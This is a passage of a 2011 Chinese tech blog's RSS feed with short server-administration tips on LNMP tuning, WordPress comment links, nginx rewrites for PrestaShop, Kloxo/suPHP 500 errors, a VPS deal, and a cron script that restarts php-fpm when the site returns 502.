		<pubDate>Mon, 19 Sep 2011 15:43:33 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[lnmp]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[进程]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1301</guid>
		<description><![CDATA[lnmp安装后进程优化一下，以更好的发挥VPS的性能 修改php-cgi vi /usr/local/nginx/conf/nginx.conf 其中worker_processes 1;可以修改成2或3个，nginx本身就很强大，不需要像apache那样，开启过多的进程来保证其稳定运行。 vi /usr/local/php/etc/php-fpm.conf 找到&#60;value name=&#8221;max_children&#8221;&#62;，按你的内存容量修改PHP进程的数量，一般128内存开启6个，256内存开启16个。这样能保证，在PHP大并发的情况下不会502错误。 优化后，使用以下命令重新启动lnmp /root/lnmp restart 相关文章prestashop在lnmpa下图片不显示问题Nginx(LNMP)反向代理配置教程[转]Linux系统中IPtables设置基础知识Nginx默认网站的设置更新源问题导致debian6下Lnmp无法安装成功一个PHP木马的代码让nginx按域名来反向代理debian无法解析时配置resolv.conf文件Kloxo面板网站出现500错误Debian5下安装PPTP VPN的配置方法]]></description>
			<content:encoded><![CDATA[<div>lnmp安装后进程优化一下，以更好的发挥VPS的性能<br />
修改php-cgi</div>
<div>
<blockquote><p>vi /usr/local/nginx/conf/nginx.conf</p></blockquote>
</div>
<p>其中worker_processes 1;可以修改成2或3个，nginx本身就很强大，不需要像apache那样，开启过多的进程来保证其稳定运行。</p>
<blockquote><p>vi /usr/local/php/etc/php-fpm.conf</p></blockquote>
<div><span id="more-1301"></span>找到&lt;value name=&#8221;max_children&#8221;&gt;，按你的内存容量修改PHP进程的数量，一般128内存开启6个，256内存开启16个。这样能保证，在PHP大并发的情况下不会502错误。</div>
<div>优化后，使用以下命令重新启动lnmp</div>
<blockquote><p>/root/lnmp restart</p></blockquote>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/1356.html" title="更新源问题导致debian6下Lnmp无法安装成功">更新源问题导致debian6下Lnmp无法安装成功</a></li><li><a href="http://www.dengor.com/archives/1328.html" title="一个PHP木马的代码">一个PHP木马的代码</a></li><li><a href="http://www.dengor.com/archives/1317.html" title="让nginx按域名来反向代理">让nginx按域名来反向代理</a></li><li><a href="http://www.dengor.com/archives/1312.html" title="debian无法解析时配置resolv.conf文件">debian无法解析时配置resolv.conf文件</a></li><li><a href="http://www.dengor.com/archives/1285.html" title="Kloxo面板网站出现500错误">Kloxo面板网站出现500错误</a></li><li><a href="http://www.dengor.com/archives/1281.html" title="Debian5下安装PPTP VPN的配置方法">Debian5下安装PPTP VPN的配置方法</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1301.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>wordpress让评论不显示站外链接</title>
		<link>http://www.dengor.com/archives/1274.html</link>
		<comments>http://www.dengor.com/archives/1274.html#comments</comments>
		<pubDate>Thu, 15 Sep 2011 08:20:14 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[不显示]]></category>
		<category><![CDATA[站外链接]]></category>
		<category><![CDATA[评论]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1274</guid>
		<description><![CDATA[WordPress的功能强大, 很多东西可以定制, 但在侧面的评论老是会显示站外链接, 对SEO很不力, 也会引来好多垃圾评论. 如何修改让让评论不显示作者链接? 我的方法是修改 /wp-include/default-widgets.php文件, 找到 $output .=  &#8216;&#60;li&#62;&#8217; . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x(&#8216;%1$s on %2$s&#8217;, &#8216;widgets&#8217;), get_comment_author_link(), &#8216;&#60;a href=&#8221;&#8216; . esc_url( get_comment_link($comment-&#62;comment_ID) ) . &#8216;&#8221;&#62;&#8217; . get_the_title($comment-&#62;comment_post_ID) . &#8216;&#60;/a&#62;&#8217;) . &#8216;&#60;/li&#62;&#8217;; 改成 $output .=  &#8216;&#60;li&#62;&#8217; . /* translators: comments widget: 1: comment author, [...]]]></description>
			<content:encoded><![CDATA[<p>WordPress的功能强大, 很多东西可以定制, 但在侧面的评论老是会显示站外链接, 对SEO很不力, 也会引来好多垃圾评论. 如何修改让让评论不显示作者链接?<br />
我的方法是修改 /wp-include/default-widgets.php文件, 找到</p>
<p><span id="more-1274"></span></p>
<blockquote><p>$output .=  &#8216;&lt;li&gt;&#8217; . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x(&#8216;%1$s on %2$s&#8217;, &#8216;widgets&#8217;), get_comment_author_link(), &#8216;&lt;a href=&#8221;&#8216; . esc_url( get_comment_link($comment-&gt;comment_ID) ) . &#8216;&#8221;&gt;&#8217; . get_the_title($comment-&gt;comment_post_ID) . &#8216;&lt;/a&gt;&#8217;) . &#8216;&lt;/li&gt;&#8217;;</p></blockquote>
<p>改成</p>
<blockquote><p>$output .=  &#8216;&lt;li&gt;&#8217; . /* translators: comments widget: 1: comment author, 2: post link */ sprintf(_x(&#8216;%1$s on %2$s&#8217;, &#8216;widgets&#8217;), get_comment_author(), &#8216;&lt;a href=&#8221;&#8216; . esc_url( get_comment_link($comment-&gt;comment_ID) ) . &#8216;&#8221;&gt;&#8217; . get_the_title($comment-&gt;comment_post_ID) . &#8216;&lt;/a&gt;&#8217;) . &#8216;&lt;/li&gt;&#8217;;</p></blockquote>
<p>其实就是把get_comment_author_link() 中的_link去掉就可了. 这样只会显示作者名子页没有链接了.</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1308.html" title="河南洛阳性奴案网友评论">河南洛阳性奴案网友评论</a></li><li><a href="http://www.dengor.com/archives/1196.html" title="关闭WP的前台顶部控制条工具栏">关闭WP的前台顶部控制条工具栏</a></li><li><a href="http://www.dengor.com/archives/1095.html" title="WP换空间后无法上传附件的解决办法">WP换空间后无法上传附件的解决办法</a></li><li><a href="http://www.dengor.com/archives/734.html" title="让DEDE的不显示未审核稿件的标签">让DEDE的不显示未审核稿件的标签</a></li><li><a href="http://www.dengor.com/archives/629.html" title="从Google事件看互联网现状">从Google事件看互联网现状</a></li><li><a href="http://www.dengor.com/archives/569.html" title="设置一下自己的头像">设置一下自己的头像</a></li><li><a href="http://www.dengor.com/archives/338.html" title="更换WordPress主题模板">更换WordPress主题模板</a></li><li><a href="http://www.dengor.com/archives/206.html" title="中央决定用2年治理工程腐败等问题">中央决定用2年治理工程腐败等问题</a></li><li><a href="http://www.dengor.com/archives/40.html" title="添加了fckeditor-for-wordpress-plugin">添加了fckeditor-for-wordpress-plugin</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1274.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>prestashop在lnmpa下图片不显示问题</title>
		<link>http://www.dengor.com/archives/1291.html</link>
		<comments>http://www.dengor.com/archives/1291.html#comments</comments>
		<pubDate>Thu, 08 Sep 2011 01:07:07 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[.htaccess]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[lnmp]]></category>
		<category><![CDATA[lnmpa]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[prestashop]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1291</guid>
		<description><![CDATA[Lnmpa是Lnmp的一个扩展,使用Nginx作为前端服务能够更快更及时的静态页面、js、图片等，由nginx接爱请求, 当客户端请求访问动态页面时由Nginx的反向代理给Apache处理，Apache处理完再交予Nginx返回给客户端。这样能大大优化服务器的性能. 最近在迁移中出再了prestashop在lnma下图片不显示问题, 因为原来prestashop的重写规则是在nginx, 现在Lnmpa就全部用apache下的.htaccess来实现重写. 但问题也出来了. 其它的一切都正常, 就是图片不显示. 仔细想了一下,一定是出在.jpg图片在重写上面, 要在nginx的重写规则中加入 rewrite ^/([a-z0-9]+)\-([a-z0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$ /img/p/$1-$2$3.jpg last; rewrite ^/([0-9]+)\-([0-9]+)/([_a-zA-Z0-9-]*)\.jpg$ /img/p/$1-$2.jpg last; rewrite ^/([0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$ /img/c/$1$2.jpg last; 这样图片就会重写了.能够正确的显示出来. 原来Lnmpa是把动态的处理交给apache, 而对于静态的CSS,jpg等还是Nginx在处理. 所以JPG的重写也应该写在nginx的.conf文件中. 所有的处理都是先交给nginx来接受, 由nginx来判断是自己去处理还是交给apache, 而这里因为是JPG图片, nginx自己去处理, 在.htaccess的重写是无效的. [转载请注明出处]: 登高望远 [ http://www.dengor.com/archives/1291.html ] 相关文章lnmp安装后进程优化Nginx(LNMP)反向代理配置教程[转]实现Prestashop在nginx中的url重写Apach中.htaccess一些常用的url重写更新源问题导致debian6下Lnmp无法安装成功[转]prestashop 1.4.4的lighttpd rewrite规则让nginx按域名来反向代理Nginx出现502后自动重启脚本Prestashop设置Pre-defined message不换行问题让lnmp能用mail()函数来发邮件]]></description>
			<content:encoded><![CDATA[<p>Lnmpa是Lnmp的一个扩展,使用Nginx作为前端服务能够更快更及时的静态页面、js、图片等，由nginx接爱请求, 当客户端请求访问动态页面时由<a href="http://www.dengor.com/archives/tag/nginx">Nginx</a>的反向代理给Apache处理，Apache处理完再交予Nginx返回给客户端。这样能大大优化服务器的性能.</p>
<p>最近在迁移中出再了<a href="http://www.dengor.com/archives/tag/prestashop">prestashop</a>在lnma下图片不显示问题, 因为原来prestashop的重写规则是在nginx, 现在Lnmpa就全部用apache下的.htaccess来实现重写. 但问题也出来了. 其它的一切都正常, 就是图片不显示.</p>
<p><span id="more-1291"></span>仔细想了一下,一定是出在.jpg图片在重写上面, 要在nginx的重写规则中加入</p>
<blockquote><p>rewrite ^/([a-z0-9]+)\-([a-z0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$ /img/p/$1-$2$3.jpg last;<br />
rewrite ^/([0-9]+)\-([0-9]+)/([_a-zA-Z0-9-]*)\.jpg$ /img/p/$1-$2.jpg last;<br />
rewrite ^/([0-9]+)(\-[_a-zA-Z0-9-]*)/([_a-zA-Z0-9-]*)\.jpg$ /img/c/$1$2.jpg last;</p></blockquote>
<p>这样图片就会重写了.能够正确的显示出来.</p>
<p><strong>原来Lnmpa是把动态的处理交给apache, 而对于静态的CSS,jpg等还是Nginx在处理. 所以JPG的重写也应该写在nginx的.conf文件中</strong>.</p>
<p>所有的处理都是先交给nginx来接受, 由nginx来判断是自己去处理还是交给apache, 而这里因为是JPG图片, nginx自己去处理, 在.htaccess的重写是无效的.</p>
<p><span style="color: #800000;">[转载请注明出处]:</span> <a href="../">登高望远</a> [ <a href="http://www.dengor.com/archives/1291.html">http://www.dengor.com/archives/1291.html</a> ]</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/931.html" title="实现Prestashop在nginx中的url重写">实现Prestashop在nginx中的url重写</a></li><li><a href="http://www.dengor.com/archives/408.html" title="Apach中.htaccess一些常用的url重写">Apach中.htaccess一些常用的url重写</a></li><li><a href="http://www.dengor.com/archives/1356.html" title="更新源问题导致debian6下Lnmp无法安装成功">更新源问题导致debian6下Lnmp无法安装成功</a></li><li><a href="http://www.dengor.com/archives/1358.html" title="[转]prestashop 1.4.4的lighttpd rewrite规则">[转]prestashop 1.4.4的lighttpd rewrite规则</a></li><li><a href="http://www.dengor.com/archives/1317.html" title="让nginx按域名来反向代理">让nginx按域名来反向代理</a></li><li><a href="http://www.dengor.com/archives/1255.html" title="Nginx出现502后自动重启脚本">Nginx出现502后自动重启脚本</a></li><li><a href="http://www.dengor.com/archives/1210.html" title="Prestashop设置Pre-defined message不换行问题">Prestashop设置Pre-defined message不换行问题</a></li><li><a href="http://www.dengor.com/archives/1205.html" title="让lnmp能用mail()函数来发邮件">让lnmp能用mail()函数来发邮件</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1291.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Kloxo面板网站出现500错误</title>
		<link>http://www.dengor.com/archives/1285.html</link>
		<comments>http://www.dengor.com/archives/1285.html#comments</comments>
		<pubDate>Tue, 06 Sep 2011 05:18:54 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[软件系统]]></category>
		<category><![CDATA[500]]></category>
		<category><![CDATA[Kloxo]]></category>
		<category><![CDATA[suphp]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[面板]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1285</guid>
		<description><![CDATA[Kloxo是一个强大的免费主机面板, 很适合国外VPS,Kloxo面板下设置了suphp后，网站无法访问，并且出现了500错误。下面告诉大家怎么解决这个问题 先来介绍一下这个suphp,suPHP是一个用来以属主的身份来执行PHP脚本的工具， 它由一个Apache模块(mod_suphp)和一个被mod_suphp调用用来改变执行PHP解释器的线程uid的suphp组成。 SuPHP有点类似Apache的suexec.”，它的作用是：“默认情况下，在一个共享主机内，apache服务器是—里面的任一用户均可以互访各自的php文件。安装上SuPHP，PHP文件将以属主的身份来执行，文件夹的777属性也可以避免。” 简单一点，就是说，如果你没有安装suphp这个模块，那么遇到需要写权限的文件夹/文件的时候，你只能把它们的权限都设为777。当你装上了这个 suphp模块后，你只需要把它们设置为755就可以。而这里的777要比755危险得多，所以一般都建议大家安装这个模块。 如果大家使用的是Kloxo控制面板的话，那恭喜你，这个模块不需要你去另外安装配置，里面已经集成有了，那么如何去开启，先来看看我的另外一篇文章（VPS中的文件操作权限问题），看完这个后，大家肯定会遇到文章开头所描述的，网站无法打开，并且出现500错误。在网上查了下，如果是启用了suphp的话，那么默认文件夹的权限只要是777的话，就会出现500错误，于是我就把网站的所有文件权限全部改成了755，但是问题还是没能解决，依然是500错误。后来我也尝试了重启 kloxo面板、重启apache、重启mysql、重启VPS，但是问题依旧。 如果还是不能解决Kloxo面板网站出现500错误, 这时介绍的最后一个可用的方法，也是唯一一个问我觉得行的通的方法，就是在kloxo面板下进行程序的切换，把apache切换到lighttpd，接着又重新切换到apache，刷新下网站，看是否可以了。 这个方法我也是在网上搜索了很久才找到的，相当实用。当你这样切换过后，suphp依然可以使用，也就是suphp仍然为被选中的，如果接下来的网站出现 xxx目录无法写的情况，你只要把这个目录的权限改为755就可以了，万一真的不行，那你也就只好改回777了！ 本文里面多次提到的文件夹权限改为777并不是说这样的操作不可行，只是相对755或者其他更低权限的设置会危险一点，不过如果你的主机本来就比较安全，防护措施也做得比较好的话，这个担心可以适当降低一点！当然了，777表示开启所有权限，所有人都有权利去读、运行、写文件，这样的安全性太低了. 相关文章Kloxo面板的一些常用设置debian无法解析时配置resolv.conf文件lnmp安装后进程优化Debian5下安装PPTP VPN的配置方法国外高性价比VPS-virpusLinux系统中IPtables设置基础知识Nginx默认网站的设置显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法年付15美元的小内存VPS-NordicVPSSSH下如何知道网站是以什么用户身份运行的]]></description>
			<content:encoded><![CDATA[<p>Kloxo是一个强大的免费主机面板, 很适合<a href="http://www.dengor.com/archives/1258.html">国外VPS</a>,Kloxo面板下设置了suphp后，网站无法访问，并且出现了500错误。下面告诉大家怎么解决这个问题</p>
<p>先来介绍一下这个suphp,suPHP是一个用来以属主的身份来执行PHP脚本的工具， 它由一个Apache模块(mod_suphp)和一个被mod_suphp调用用来改变执行PHP解释器的线程uid的suphp组成。</p>
<p><span id="more-1285"></span> SuPHP有点类似Apache的suexec.”，它的作用是：“默认情况下，在一个共享主机内，apache服务器是—里面的任一用户均可以互访各自的php文件。安装上SuPHP，PHP文件将以属主的身份来执行，文件夹的777属性也可以避免。”</p>
<p>简单一点，就是说，如果你没有安装suphp这个模块，那么遇到需要写权限的文件夹/文件的时候，你只能把它们的权限都设为777。当你装上了这个 suphp模块后，你只需要把它们设置为755就可以。而这里的777要比755危险得多，所以一般都建议大家安装这个模块。</p>
<p>如果大家使用的是Kloxo控制面板的话，那恭喜你，这个模块不需要你去另外安装配置，里面已经集成有了，那么如何去开启，先来看看我的另外一篇文章（VPS中的文件操作权限问题），看完这个后，大家肯定会遇到文章开头所描述的，网站无法打开，并且出现500错误。在网上查了下，如果是启用了suphp的话，那么默认文件夹的权限只要是777的话，就会出现500错误，于是我就把网站的所有文件权限全部改成了755，但是问题还是没能解决，依然是500错误。后来我也尝试了重启 kloxo面板、重启apache、重启mysql、重启VPS，但是问题依旧。</p>
<p>如果还是不能解决Kloxo面板网站出现500错误, 这时介绍的最后一个可用的方法，也是唯一一个问我觉得行的通的方法，就是在<strong>kloxo面板下进行程序的切换，把apache切换到lighttpd，接着又重新切换到apache</strong>，刷新下网站，看是否可以了。</p>
<p>这个方法我也是在网上搜索了很久才找到的，相当实用。当你这样切换过后，suphp依然可以使用，也就是suphp仍然为被选中的，如果接下来的网站出现 xxx目录无法写的情况，你只要把这个目录的权限改为755就可以了，万一真的不行，那你也就只好改回777了！</p>
<p>本文里面多次提到的文件夹权限改为777并不是说这样的操作不可行，只是相对755或者其他更低权限的设置会危险一点，不过如果你的主机本来就比较安全，防护措施也做得比较好的话，这个担心可以适当降低一点！当然了，777表示开启所有权限，所有人都有权利去读、运行、写文件，这样的安全性太低了.</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1238.html" title="Kloxo面板的一些常用设置">Kloxo面板的一些常用设置</a></li><li><a href="http://www.dengor.com/archives/1312.html" title="debian无法解析时配置resolv.conf文件">debian无法解析时配置resolv.conf文件</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1281.html" title="Debian5下安装PPTP VPN的配置方法">Debian5下安装PPTP VPN的配置方法</a></li><li><a href="http://www.dengor.com/archives/1258.html" title="国外高性价比VPS-virpus">国外高性价比VPS-virpus</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/1023.html" title="显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法">显示Deprecated: Assigning the return value of new by reference is deprecated in解决办法</a></li><li><a href="http://www.dengor.com/archives/957.html" title="年付15美元的小内存VPS-NordicVPS">年付15美元的小内存VPS-NordicVPS</a></li><li><a href="http://www.dengor.com/archives/955.html" title="SSH下如何知道网站是以什么用户身份运行的">SSH下如何知道网站是以什么用户身份运行的</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1285.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>国外高性价比VPS-virpus</title>
		<link>http://www.dengor.com/archives/1258.html</link>
		<comments>http://www.dengor.com/archives/1258.html#comments</comments>
		<pubDate>Tue, 09 Aug 2011 06:39:42 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[网罗天下]]></category>
		<category><![CDATA[virpus]]></category>
		<category><![CDATA[VPS]]></category>
		<category><![CDATA[国外]]></category>
		<category><![CDATA[性价]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1258</guid>
		<description><![CDATA[virpus最近出来了让人最惊喜的价格, 512内存的vps年付只有3美元每月. Virpus本来就已经很便宜了,这次降价就是把低价VPS取消了年付即赠DA这个政策，因为不是所有人都喜欢DA，很多人都可以已经选择. 内存/突发内存：512MB/1024MB 硬盘：40GB 月流量：1000GB 2IPs/SolusVM 购买链接: Virpus Virpus这个主机商成立于2006年，老牌美国服务商，至少信誉上还是有所保障的, 但学是要备份好自己的数据的, 512的VPS能这么便宜,还是有很高性价比的, Virpus的数据中心在堪萨斯, 国内速度也还不错。他们的VPS非常实惠，客服服务态度好,一般会很及时回复. 所以说这个价格入个512的稳定的VPS,还是有很高的性价比的. 相关文章国外优秀开源外贸网店程序汇总debian无法解析时配置resolv.conf文件lnmp安装后进程优化Kloxo面板网站出现500错误Debian5下安装PPTP VPN的配置方法Kloxo面板的一些常用设置Linux系统中IPtables设置基础知识Nginx默认网站的设置年付15美元的小内存VPS-NordicVPSSSH下如何知道网站是以什么用户身份运行的]]></description>
			<content:encoded><![CDATA[<p>virpus最近出来了让人最惊喜的价格, 512内存的vps年付只有3美元每月.<img class="alignnone" title="vp" src="http://img.peakot.com/ccs/vp.gif" alt="" width="21" height="20" /></p>
<div class="mceTemp mceIEcenter">
<dl id="attachment_1261" class="wp-caption aligncenter" style="width: 281px;">
<dt class="wp-caption-dt"><a href="http://myvirpus.com/aff.php?aff=773"><img class="size-full wp-image-1261" title="virpus" src="http://www.dengor.com/wp-content/uploads/2011/08/virpus.jpg" alt="virpus-vps" width="271" height="100" /></a></dt>
</dl>
</div>
<p>Virpus本来就已经很便宜了,这次降价就是把低价VPS取消了年付即赠DA这个政策，因为不是所有人都喜欢DA，很多人都可以已经选择.</p>
<p><span id="more-1258"></span>内存/突发内存：512MB/1024MB<br />
硬盘：40GB<br />
月流量：1000GB<br />
2IPs/SolusVM</p>
<p>购买链接: <a href="http://www.dengor.com/hop/virpus">Virpus</a></p>
<p>Virpus这个主机商成立于2006年，老牌美国服务商，至少信誉上还是有所保障的, 但学是要备份好自己的数据的, 512的VPS能这么便宜,还是有很高性价比的, Virpus的数据中心在堪萨斯, 国内速度也还不错。他们的VPS非常实惠，客服服务态度好,一般会很及时回复. 所以说这个价格入个512的稳定的VPS,还是有很高的性价比的.</p>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1344.html" title="国外优秀开源外贸网店程序汇总">国外优秀开源外贸网店程序汇总</a></li><li><a href="http://www.dengor.com/archives/1312.html" title="debian无法解析时配置resolv.conf文件">debian无法解析时配置resolv.conf文件</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1285.html" title="Kloxo面板网站出现500错误">Kloxo面板网站出现500错误</a></li><li><a href="http://www.dengor.com/archives/1281.html" title="Debian5下安装PPTP VPN的配置方法">Debian5下安装PPTP VPN的配置方法</a></li><li><a href="http://www.dengor.com/archives/1238.html" title="Kloxo面板的一些常用设置">Kloxo面板的一些常用设置</a></li><li><a href="http://www.dengor.com/archives/1150.html" title="Linux系统中IPtables设置基础知识">Linux系统中IPtables设置基础知识</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/957.html" title="年付15美元的小内存VPS-NordicVPS">年付15美元的小内存VPS-NordicVPS</a></li><li><a href="http://www.dengor.com/archives/955.html" title="SSH下如何知道网站是以什么用户身份运行的">SSH下如何知道网站是以什么用户身份运行的</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1258.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Nginx出现502后自动重启脚本</title>
		<link>http://www.dengor.com/archives/1255.html</link>
		<comments>http://www.dengor.com/archives/1255.html#comments</comments>
		<pubDate>Fri, 05 Aug 2011 00:46:47 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>
		<category><![CDATA[软件系统]]></category>
		<category><![CDATA[502]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[脚本]]></category>
		<category><![CDATA[自动]]></category>
		<category><![CDATA[重启]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1255</guid>
		<description><![CDATA[相信很多使用nginx的朋友都遇到过502, 出现502 bad gateway很烦人了，FastCGI进程不够使用, 执行超时,FastCGI缓冲不足等都会造成502错误, 解决502 bad gateway的最好最终极的方法就是重启php-fpm。 在没有更好的办法就只有重新启动php，咱们要做个重启php-fpm的脚本,。 cd /home vi restart-php-fpm.sh 在home建立一个脚本restart-php-fpm.sh 输入如下代码，这个代码就是重启php-fpm的脚本了，脚本中的http://www.dengor.com 记得改成要监控502的网站 #!/usr/bin/php &#60;? $url = ‘http://www.dengor.com’; $cmd = ‘/usr/local/php/sbin/php-fpm restart’; for($i = 0; $i &#60; 5; $i ++){ $exec = “curl –connect-timeout 3 -i $url 2&#62;/dev/null”; $res = shell_exec($exec); if(stripos($res, ’502 Bad Gateway’) !== false){ shell_exec($cmd); exit(); } } ?&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>相信很多使用<a href="http://www.dengor.com/?s=nginx">nginx</a>的朋友都遇到过502, 出现502 bad gateway很烦人了，FastCGI进程不够使用, 执行超时,FastCGI缓冲不足等都会造成502错误, 解决502 bad gateway的最好最终极的方法就是重启php-fpm。</p>
<p>在没有更好的办法就只有重新启动php，咱们要做个重启php-fpm的脚本,。</p>
<p><span id="more-1255"></span></p>
<blockquote><p>cd /home<br />
vi restart-php-fpm.sh</p></blockquote>
<p>在home建立一个脚本restart-php-fpm.sh<br />
输入如下代码，这个代码就是重启php-fpm的脚本了，脚本中的http://www.dengor.com 记得改成要监控502的网站</p>
<blockquote><p>#!/usr/bin/php<br />
&lt;?<br />
$url = ‘http://www.dengor.com’;<br />
$cmd = ‘/usr/local/php/sbin/php-fpm restart’;<br />
for($i = 0; $i &lt; 5; $i ++){     $exec = “curl –connect-timeout 3 -i $url 2&gt;/dev/null”;<br />
$res = shell_exec($exec);<br />
if(stripos($res, ’502 Bad Gateway’) !== false){<br />
shell_exec($cmd);<br />
exit();<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>再设置crontab让脚本自己运行, 可以参看<a rel="bookmark" href="../archives/1175.html">Centos安装和运行crontab</a>.<br />
先设置restart-php-fpm.sh的权限为755</p>
<blockquote><p>chmod 755 /home/restart-php-fpm.sh</p></blockquote>
<p>运行crontab -e</p>
<blockquote><p>crontab -e</p></blockquote>
<p>设置restart-php-fpm.sh自动一直运行执行</p>
<blockquote><p>* * * * * /home/restart-php-fpm.sh</p></blockquote>
<p>查看crontab有没有成功运行</p>
<blockquote><p>crontab -l</p></blockquote>
<div  class="related_post_title">相关文章</div><ul class="related_post"><li><a href="http://www.dengor.com/archives/1317.html" title="让nginx按域名来反向代理">让nginx按域名来反向代理</a></li><li><a href="http://www.dengor.com/archives/1301.html" title="lnmp安装后进程优化">lnmp安装后进程优化</a></li><li><a href="http://www.dengor.com/archives/1291.html" title="prestashop在lnmpa下图片不显示问题">prestashop在lnmpa下图片不显示问题</a></li><li><a href="http://www.dengor.com/archives/1267.html" title="Nginx(LNMP)反向代理配置教程[转]">Nginx(LNMP)反向代理配置教程[转]</a></li><li><a href="http://www.dengor.com/archives/1191.html" title="Nginx设置404 Not Found页面的方法">Nginx设置404 Not Found页面的方法</a></li><li><a href="http://www.dengor.com/archives/1134.html" title="nginx中301重新定向的方法">nginx中301重新定向的方法</a></li><li><a href="http://www.dengor.com/archives/1125.html" title="Nginx默认网站的设置">Nginx默认网站的设置</a></li><li><a href="http://www.dengor.com/archives/1100.html" title="Nginx下把no-www转向到www的重写规则">Nginx下把no-www转向到www的重写规则</a></li><li><a href="http://www.dengor.com/archives/931.html" title="实现Prestashop在nginx中的url重写">实现Prestashop在nginx中的url重写</a></li><li><a href="http://www.dengor.com/archives/729.html" title="DEDE自动审核发布文章">DEDE自动审核发布文章</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.dengor.com/archives/1255.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>网站变成黑白(网站变灰)的设置方法</title>
		<link>http://www.dengor.com/archives/1236.html</link>
		<comments>http://www.dengor.com/archives/1236.html#comments</comments>
		<pubDate>Fri, 08 Jul 2011 08:29:57 +0000</pubDate>
		<dc:creator>dengor</dc:creator>
				<category><![CDATA[网站程序]]></category>

		<guid isPermaLink="false">http://www.dengor.com/?p=1236</guid>
